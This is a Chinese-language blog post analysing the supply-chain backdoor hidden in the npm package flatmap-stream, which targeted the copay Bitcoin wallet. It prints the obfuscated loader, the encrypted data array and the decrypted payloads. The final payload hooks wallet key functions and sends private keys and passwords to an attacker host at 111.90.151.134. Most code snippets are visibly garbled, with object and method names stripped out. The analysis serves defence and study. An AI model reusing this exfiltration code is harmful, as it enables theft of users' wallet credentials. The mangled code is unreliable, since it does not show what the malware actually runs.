前一段时间网上爆出过event-stream包中的依赖模块flatmap-stream被黑客修改过代码,能够窃取用户的密码、私钥等信息,从而盗取比特币。小邹之前也发布过一篇文章()。
当时这个事情在前端开发领域引发了一次小震动,每个使用这个模块的开发人员都有种开发恐惧,其实现在看来完全没有必要,因为黑客代码只会在copay项目中正确执行。只有copay项目的中的description字符串”ASecureBitcoinWallet”能够解密黑客代码;而且,黑客的代码是为copay量身定做的,对其他项目没有作用;再说,黑客是来窃取的比特币的,又不是挖矿,你的项目有比特币给人家偷吗?下面小邹给大伙剖析一下这个源码原理:
寻找flatmap-stream中的黑客代码
flatmap-stream已经被npm删除了,不过还能在UNPKG上找到代码:
是经过压缩的代码,因此可读性很差:
varStream=require("stream").Stream;=function(e,n){vari=newStream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};functionw(r,e){vart=c+1;if(e===t?(void0!==(i,["data",r]),c++,t++):m[e]=r,(t)){varn=m[t];returndeletem[t],w(n,t)}a===++o(f(f=!1,("drain")),uv())}functionp(r,e,t){l||(s=!0,r!||w(e,t),(i,[d,r]),s=!1)}functionb(r,t,n){(null,r,function(r,e){n(r,e,t)})}functionv(r){if(u=!0,=!1,void0!==r)returnw(r,a);a==o(=!1,(""),())}=!0,=!0,=function(r){if(u)thrownewError("flatmapstreamisnotwritable");s=!1;try{for(vareinr){a++;vart=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throwr;returnp(r),!f}},=function(r){u||v(r)},=function(){u=l=!0,==f=!1,(function(){("close")})},=function(){f=!0},=function(){f=!1},i};!function(){try{varr=require,t=process;functione(r){(r,"hex").toString()}varn=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;varu=r(e(n[2]))[e(n[6])](e(n[5]),o),a=(n[0],e(n[8]),e(n[9]));a+=(e(n[9]));varf=;=,f[e(n[7])](a,""),(n[1])}catch(r){}}();但是,黑客的黑客代码隐藏的并不深,直接添加在的后面:
!function(){try{varr=require,t=process;functione(r){(r,"hex").toString()}varn=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;varu=r(e(n[2]))[e(n[6])](e(n[5]),o),a=(n[0],e(n[8]),e(n[9]));a+=(e(n[9]));varf=;=,f[e(n[7])](a,""),(n[1])}catch(r){}}();使用unminify将黑客代码还原:
!function(){try{varr=require,t=process;functione(r){(r,"hex").toString()}varn=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;varu=r(e(n[2]))[e(n[6])](e(n[5]),o),a=(n[0],e(n[8]),e(n[9]));a+=(e(n[9]));varf=;=,f[e(n[7])](a,""),(n[1])}catch(r){}}();这段代码其实很短,黑客混淆的方式并不高明,我们可以一步一步还原。
使用require替换变量r
使用process替换变量t
函数e任务很简单,就是把16进制字符串转为ASCII字符串,因此更名为hexToAscii
!(function(){try{functionhexToAscii(r){(r,"hex").toString();}varn=require(hexToAscii("2e2f746573742f64617461")),o=process[hexToAscii(n[3])][hexToAscii(n[4])];if(!o)return;varu=require(hexToAscii(n[2]))[hexToAscii(n[6])](hexToAscii(n[5]),o),a=(n[0],hexToAscii(n[8]),hexToAscii(n[9]));a+=(hexToAscii(n[9]));varf=();(=),f[hexToAscii(n[7])](a,""),(n[1]);}catch(r){//忽略报错}})();很明显,黑客使用hexToAscii函数是为了混淆代码,比如hexToAscii(“2e2f746573742f64617461”)其实就是./test/data,因此数组n即为:,这个data文件已经找不到了,根据FallingSnow之前的分析,它是一个数组:
["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d808733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f83d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b3c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","63726566970686572","5f636f6d70696c65","686578","75746638"]
数组n中一共有10个元素,除了前面2个元素,其他元素在代码中均通过hexToAscii函数进行了转换,其转换结果如下:
hexToAscii(n[2]):crypto
hexToAscii(n[3]):env
hexToAscii(n[4]):npm_package_description
hexToAscii(n[5]):aes256
hexToAscii(n[6]):createDecipher
hexToAscii(n[7]):_compile
hexToAscii(n[8]):hex
hexToAscii(n[9]):utf8
将这些值全部替换掉,代码如下:
!(function(){try{varn=["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d808733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f83d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b3c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"];varo=process["env"]["npm_package_description"];if(!o)return;varu=require("crypto")["createDecipher"]("aes256",o),a=(n[0],"hex","utf8");a+=("utf8");varf=();(=),f["_compile"](a,""),(n[1]);}catch(r){//忽略报错}})();代码中使用了函数,其文档如下:
(algorithm,password)//CreatesandreturnsaDecipherobjectthatusesthegivenalgorithmandpassword
可知,代码将项目的npm_package_description作为密码来解密n[0]字符串,而copay项目的的description属性是“ASecureBitcoinWallet”,”恰好”可以成功解密n[0]字符串,unminify之后如下:
/*@@*/=function(e){try{if(!/build\:.*\-release/.test([2]))return;vart=_package_description,r=require("fs"),i="./node_modules/@zxing/library/esm5/core/common/reedsolomon/",n=(i),c=(i,"utf8"),o=require("crypto").createDecipher("aes256",t),s=(e,"hex","utf8");s="\n"+(s+=("utf8"));vara=("\n/*@@*/");0=a(c=(0,a)),(i,c+s,"utf8"),(i,,),("exit",function(){try{(i,c,"utf8"),(i,,)}catch(e){}})}catch(e){}};我们在解密的代码中看到了完全一样的套路,只是这次解密的是n[1],unminify之后如下:
/*@@*/!function(){functione(){try{varo=require("http"),a=require("crypto"),c="-----BEGINPUBLICKEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----ENDPUBLICKEY-----";functioni(e,t,n){e=(e,"hex").toString();varr=({hostname:e,port:8080,method:"POST",path:"/"+t,headers:{"Content-Length":,"Content-Type":"text/html"}},function(){});("error",function(e){}),(n),()}functionr(e,t){for(varn="",r=0;;r+=200){varo=(r,200);n+=(c,(o,"utf8")).toString("hex")+"+"}i("636f7061796170692e686f7374",e,n),i("3131312e39302e3135312e313334",e,n)}functionl(t,n){if()try{vare=;resolveLocalFileSystemURL(e,function(e){(t,{create:!1},function(e){(function(e){vart=newFileReader;=function(){returnn(())},=function(e){()},(e)})})})}catch(e){}else{try{varr=(t);if(r)returnn((r))}catch(e){}try{(t,function(e){if(e)returnn((e[t]))})}catch(e){}}}={},l("profile",function(e){for(){varn=[t];"livenet"==("balanceCache-"+,function(e){vart=this;=parseFloat(("")[0]),"btc"==||"bch"==||([]=!0,r("c",(t)))}.bind(n))}});vare=require("bitcore-wallet-client/lib/");=,=function(e){vart=(e);try{[]([],r("p",e+"\t"+))}catch(e){}returnt}}catch(e){}}?("deviceready",e):e()}();这段代码才是真正窃取比特币的代码,我们稍后再分析。
黑客是如何隐藏黑客代码的?
黑客一共隐藏了3段代码;
第1段代码隐藏在flatmap-stream的结尾,代码中使用了16进制字符串来隐藏正真使用的字符串;
第2段代码隐藏在flatmap-stream的test/data的数组中,需要使用copay项目的description字符串才能解密,它在第1段代码中解密;
第3段代码也隐藏在flatmap-stream的test/data的数组中,需要使用copay项目的description字符串才能解密,它在第2段代码中解密;
正真窃取比特币钱包copay的是第3段代码;
第2段和第3段代码刚好需要使用copay中的description字符串“ASecureBitcoinWallet”才能解密,可知黑客攻击的目标就是copay项目;
黑客多处使用了(str,“hex”).toString()来混淆代码,将ASCII字符串转换为16进制字符串,使我们难以读懂代码;
黑客2次使用了AES256算法加密黑客代码,如果找不到解密的密码,就不可能知道黑客到底是攻击哪个项目,也不知道他干了什么。maths22成功找到了密码”ASecureBitcoinWallet”以及被攻击的项目copay;
黑客把所有黑客代码都写在了try…catch里面,否则抛出莫名其妙的错误很容易暴露;(这里从另一个角度证明了监控代码错误的重要性,欢迎大家免费试用Fundebug)
黑客是如何窃取比特币的
我分析并且简化了黑客的第3段代码,如下:
/*globalcordovaresolveLocalFileSystemURLchrome*/!(function(){varhttp=require("http");varcrypto=require("crypto");//黑客的公钥,用于加密窃取的数据,这样只有黑客的公钥可以解密varpublicKey="-----BEGINPUBLICKEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----ENDPUBLICKEY-----";//将窃取的数据发送到黑客的服务器functionhttpRequest(hostname,path,data){varrequest=({hostname:hostname,port:8080,method:"POST",path:"/"+path,headers:{"Content-Length":,"Content-Type":"text/html"}},function(){});("error",function(){});(data);();}//用户密码发送至(path,t){//黑客对数据进行了简单的编码以及加密for(varn="",r=0;;r+=200){varo=(r,200);//使用黑客的公钥对窃取的数据进行加密n+=(publicKey,(o,"utf8")).toString("hex")+"+";}httpRequest("",path,n);httpRequest("111.90.151.134",path,n);}//窃取用户信息functiongetUserInfo(type,n){if(){vare=;resolveLocalFileSystemURL(e,function(e){(type,{create:!1},function(e){(function(e){vart=newFileReader();(=function(){returnn(());}),(=function(){();}),(e);});});});}else{varr=(type);if(r)returnn((r));(type,function(e){if(e)returnn((e[type]));});}}functionsteal(){varifSteal=false;//窃取将用户的隐私信息,比如私钥getUserInfo("profile",function(profile){for(){varn=[t];if(=="livenet"){getUserInfo("balanceCache-"+,function(e){vart=this;=parseFloat(("")[0]);//当比特币超过100个或者bch超过1000个时,将用户数据发送到黑客服务器if(("btc"==)||("bch"==)){ifSteal=true;sToHacker("c",(t));}}.bind(n));}}});//通过重写getKeys函数来窃取用户的密码varCredentials=require("bitcore-wallet-client/lib/");=;=function(password){varkeys=(password);if(ifSteal){//将窃取的密码发送到黑客服务器sToHacker("p",password+"\t"+);}returnkeys;};}if(){("deviceready",steal);}else{steal();}})();详细分析可以看我写的代码注释,另外,我还总结了这些要点
这段代码的目的是窃取用户信息,并非挖矿;
黑客通过重写getKeys函数窃取了copay用户的密码,发送到
黑客窃取了copay用户所有的隐私信息,包括私钥,发送到
黑客对窃取的数据进行了简单混淆以及公钥加密,因此只有他可以读取窃取的数据;
黑客显然分析了copay源码,然后量身定做了这段代码,因此这段代码对其他项目是无效的,肯定会报错,所以他写了很多try…catch。从另一个角度来讲,其他项目比如Vue完全不用担心;
通过nmap命令扫描黑客的服务器111.90.151.134的8080端口可知,他目前已经不再接收窃取的数据;
结尾
通过这件事,大家可能会觉得开源不安全,但是我不这样看。黑客之所以处心积虑想了这么多歪招来窃取用户数据,就是因为代码是开源的,他不敢乱来。另外,这件事虽然潜伏了几个月,但是一经发现,大家分析一下代码,齐心协力很快就发现黑客到底干了什么,把整件事的来龙去脉翻了个底朝天,我也是基于大家的工作又梳理了这件事。我们应该思考的是,如何让代码更加安全